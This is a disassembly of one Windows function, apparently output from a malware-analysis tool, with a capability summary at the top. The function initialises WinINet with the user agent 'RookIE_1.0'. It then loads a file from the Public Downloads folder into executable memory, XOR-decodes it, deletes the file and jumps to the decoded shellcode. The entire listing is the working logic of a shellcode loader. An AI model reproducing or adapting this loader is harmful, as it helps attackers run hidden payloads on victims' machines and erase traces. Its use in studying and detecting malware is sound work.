Function at 0x140001370
Capabilities:
Allocate or change rwx memory
Create http request
Delete file
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x70
xor ebx, ebx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x60], 7
lea edx, [rbx + 0x20]
mov qword [rsp + 0x58], rbx
mov word [rsp + 0x48], bx
call fcn.140001980
lea rcx, str.RookIE_1.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x1400013c7
lea rcx, [rsp + 0x48]
mov rdx, rax
call fcn.140001270
cmp qword [rsp + 0x60], 8
jb 0x1400013d9
mov rcx, qword [rsp + 0x48]
call fcn.1400052f0
mov qword [rsp + 0x30], rbx
lea rcx, str.C:UsersPublicDownloads1.conf
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x88], rdi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001482
lea rcx, str.Failed_to_open_shellcode_file
call fcn.140001eb0
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140001700
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x140001453
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, esi
cmove ebx, ecx
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x140001478
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x140001470
or edx, 4
xor r8d, r8d
call fcn.1400010c0
mov eax, 1
jmp 0x1400016dc
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
jne 0x140001509
lea rcx, str.Failed_to_get_file_size
call fcn.140001eb0
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140001700
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x1400014d1
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x1400014f6
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x1400014ee
or edx, 4
xor r8d, r8d
call fcn.1400010c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400016dc
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
mov qword [rsp + 0x80], rbp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jne 0x1400015a3
lea rcx, str.Failed_to_allocate_memory_for_shellcode
call fcn.140001eb0
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140001700
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x14000156b
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x140001590
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x140001588
or edx, 4
xor r8d, r8d
call fcn.1400010c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400016d4
lea r9, [rsp + 0x40]
mov r8d, edi
mov rdx, rax
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000164a
lea rcx, str.Failed_to_read_shellcode_from_file
call fcn.140001eb0
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140001700
mov rcx, qword [rdi]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x140001601
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x140001626
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x14000161e
or edx, 4
xor r8d, r8d
call fcn.1400010c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x1400016d4
mov r9d, ebx
mov r8, rbx
test edi, edi
je 0x1400016a9
mov r10, rbp
lea r11, str.0x69
nop
movsx ecx, byte [r8 + r11]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
imul edx, edx, 0x6d9
sub ecx, edx
add cl, 0x4f
xor byte [r10], cl
and eax, 0x80000003
jge 0x140001698
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
cmove r8, rbx
inc r9d
inc r10
cmp r9d, edi
jb 0x140001660
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:UsersPublicDownloads1.conf
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rbp
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbp, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rsi
ret